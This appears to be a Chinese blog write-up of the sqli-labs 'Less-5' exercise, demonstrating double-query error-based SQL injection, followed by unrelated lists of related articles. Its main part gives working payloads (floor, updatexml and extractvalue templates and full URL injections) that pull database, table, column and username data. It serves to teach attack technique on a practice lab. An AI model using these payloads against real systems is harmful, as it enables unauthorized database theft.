考查点:双查询报错注入

1.先判断注入类型

  

  (1)首先看到要求,要求传一个ID参数,并且要求是数字型的;?id=1

    

  (2)再输入?id=1'

    

    显示报错,报错多了一个单引号

  (3)再输入?id=1''

    

   判断是字符型注入

2.对列数进行判断    

  (1)输入?id=1' order by 3 --+

    

  (2)输入?id=1' order by 4 --+

    

  判断是3列

3.因为页面正常的时候,均无输出部分,判断应该没有显示位,此时可尝试报错注入。

    

4.常用的报错语句模板:

  (1)通过floor报错

    ①and (select 1 from (select count(),concat((payload),floor(rand(0)*2))x from information_schema.tables group by x)a)

    ②其中payload为你要插入的SQL语句

    ③需要注意的是该语句将 输出长度限制在64个字符

  (2)通过updatexml报错

    ①and updatexml(1,payload,1)

    ②同样盖语句对输出的字符长度也做了限制,其最长输出32位

    ③并且该语句对payload的返回类型也做了 限制

   (3)通过extractvalue 报错

    ①and extractvalue(1,payload)

    ②输出字符有长度限制,最长32位

5.我们用floor进行注入

  (1)注当前的数据库名:?id=-1' union select 1,count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x; --+

    

  (2)爆注册表:?id=-1' union select 1,count(*),concat((select table_name from information_schema.tables where table_schema="security" limit 1,1),floor(rand(0)*2))x from information_schema.tables group by x; --+

    

  (3)注某张表的字段,这里以users为例:?id=-1' union select 1,count(*),concat((select column_name from information_schema.columns where table_name='users' limit 1,1),floor(rand(0)*2))x from information_schema.tables group by x; --+

    

  (4)注字段的值,这里以users表里的username为例:?id=-1' union select 1,count(*),concat((select username from security.users limit 1,1),floor(rand(0)*2))x from information_schema.tables group by x; --+

    

Less(5)的更多相关文章

  1. Angular2入门系列教程7-HTTP(一)-使用Angular2自带的http进行网络请求

    上一篇:Angular2入门系列教程6-路由(二)-使用多层级路由并在在路由中传递复杂参数 感觉这篇不是很好写,因为涉及到网络请求,如果采用真实的网络请求,这个例子大家拿到手估计还要自己写一个web ...

  2. Angular2学习笔记(1)

    Angular2学习笔记(1) 1. 写在前面 之前基于Electron写过一个Markdown编辑器.就其功能而言,主要功能已经实现,一些小的不影响使用的功能由于时间关系还没有完成:但就代码而言,之 ...

  3. ASP.NET Core 之 Identity 入门(一)

    前言 在 ASP.NET Core 中,仍然沿用了 ASP.NET里面的 Identity 组件库,负责对用户的身份进行认证,总体来说的话,没有MVC 5 里面那么复杂,因为在MVC 5里面引入了OW ...

  4. ABP入门系列(1)——学习Abp框架之实操演练

    作为.Net工地搬砖长工一名,一直致力于挖坑(Bug)填坑(Debug),但技术却不见长进.也曾热情于新技术的学习,憧憬过成为技术大拿.从前端到后端,从bootstrap到javascript,从py ...

  5. Online Judge(OJ)搭建(第一版)

    搭建 OJ 需要的知识(重要性排序): Java SE(Basic Knowledge, String, FileWriter, JavaCompiler, URLClassLoader, Secur ...

  6. 如何一步一步用DDD设计一个电商网站(九)—— 小心陷入值对象持久化的坑

    阅读目录 前言 场景1的思考 场景2的思考 避坑方式 实践 结语 一.前言 在上一篇中(如何一步一步用DDD设计一个电商网站(八)—— 会员价的集成),有一行注释的代码: public interfa ...

  7. 如何一步一步用DDD设计一个电商网站(八)—— 会员价的集成

    阅读目录 前言 建模 实现 结语 一.前言 前面几篇已经实现了一个基本的购买+售价计算的过程,这次再让售价丰满一些,增加一个会员价的概念.会员价在现在的主流电商中,是一个不大常见的模式,其带来的问题是 ...

  8. 【.net 深呼吸】细说CodeDom(5):类型成员

    前文中,老周已经厚着脸皮介绍了类型的声明,类型里面包含的自然就是类型成员了,故,顺着这个思路,今天咱们就了解一下如何向类型添加成员. 咱们都知道,常见的类型成员,比如字段.属性.方法.事件.表示代码成 ...

  9. 【.net 深呼吸】细说CodeDom(4):类型定义

    上一篇文章中说了命名空间,你猜猜接下来该说啥.是了,命名空间下面就是类型,知道了如何生成命名空间的定义代码,之后就该学会如何声明类型了. CLR的类型通常有这么几种:类.接口.结构.枚举.委托.是这么 ...

  10. 【.net 深呼吸】细说CodeDom(2):表达式、语句

    在上一篇文章中,老周厚着脸皮给大伙介绍了代码文档的基本结构,以及一些代码对象与CodeDom类型的对应关系. 在评论中老周看到有朋友提到了 Emit,那老周就顺便提一下.严格上说,Emit并不是针对代 ...

随机推荐

  1. .NET开源类库Nini手册(INI、XML、注册表的配置应用)-中文翻译

    目录 1.简介 1.1什么是应用程序配置数据? 1.2问题 1.3介绍Nini 2.入门 2.1一个简单的例子 2.2默认值 2.3设置.保存和删除键 2.4添加和删除配置 2.5键值扩展 3.高级主 ...

  2. 8道Python基础面试练习题

    1.26个字母大小写成对打印,例如:Aa,Bb...... for i in range(26): print(chr(65+i)+chr(97+i)) 2.一个list包含10个数字,然后生成一个新 ...

  3. Flask 教程 第十二章:日期和时间

    本文翻译自The Flask Mega-Tutorial Part XII: Dates and Times 这是Flask Mega-Tutorial系列的第十二部分,我将告诉你如何以适配所有用户的 ...

  4. 中国古风唯美水墨工作计划汇报PPT模板推荐

    模版来源:http://ppt.dede58.com/

  5. JT/T 808-2013 道路运输车辆卫星定位系统北斗兼容车载终端通讯协议技术规范

    文档下载地址:JT/T 808-2013 道路运输车辆卫星定位系统北斗兼容车载终端通讯协议技术规范

  6. 【Objective-C】Objective-C语言的动态性

    Objective-C语言的动态性主要体现在以下3个方面 (1)动态类型:运行时确定对象的类型. (2)动态绑定:运行时确定对象的方法. (3)动态加载:运行时加载需要的资源或者或代码模块. 一.动态 ...

  7. Windows系统Git配置教程(Git配置git config)

    Windows系统Git配置教程(Git配置git config)   在很多Git配置教程中,多是安装完毕后就告诉大家要配置用户名和邮箱,但是这个配置是保存在哪里呢,配置后面的参数有什么不同呢,下面 ...

  8. Docker动态添加端口,不需要重新建立镜像

    Docker容器在运行期间有时可能会需要修改或者添加暴露的端口,但是有时候运行的容器又不想再另外建立一个新的镜像.这时可以找到docker容器的存放地方,然后直接修改配置文件. 我们的容器都是保存在/ ...

  9. Go Modules使用教程

    Go Modules 不完全教程 文章转载自公众号 Golang 成神之路 , 作者 L Go Modules 是 Golang 官方最近几个版本推出的原生的包管理方式,在此之前,社区也不乏多种包管理 ...

  10. 判断上传的Excel为.xlsx还是.xls

    这个问题其实蛮简单的,具体操作如下 判断获取到上传的文件id后下载文件,然后拿到文件名称,截取文件名称后缀,判断是.xlsx还是.xls进行不同的操作即可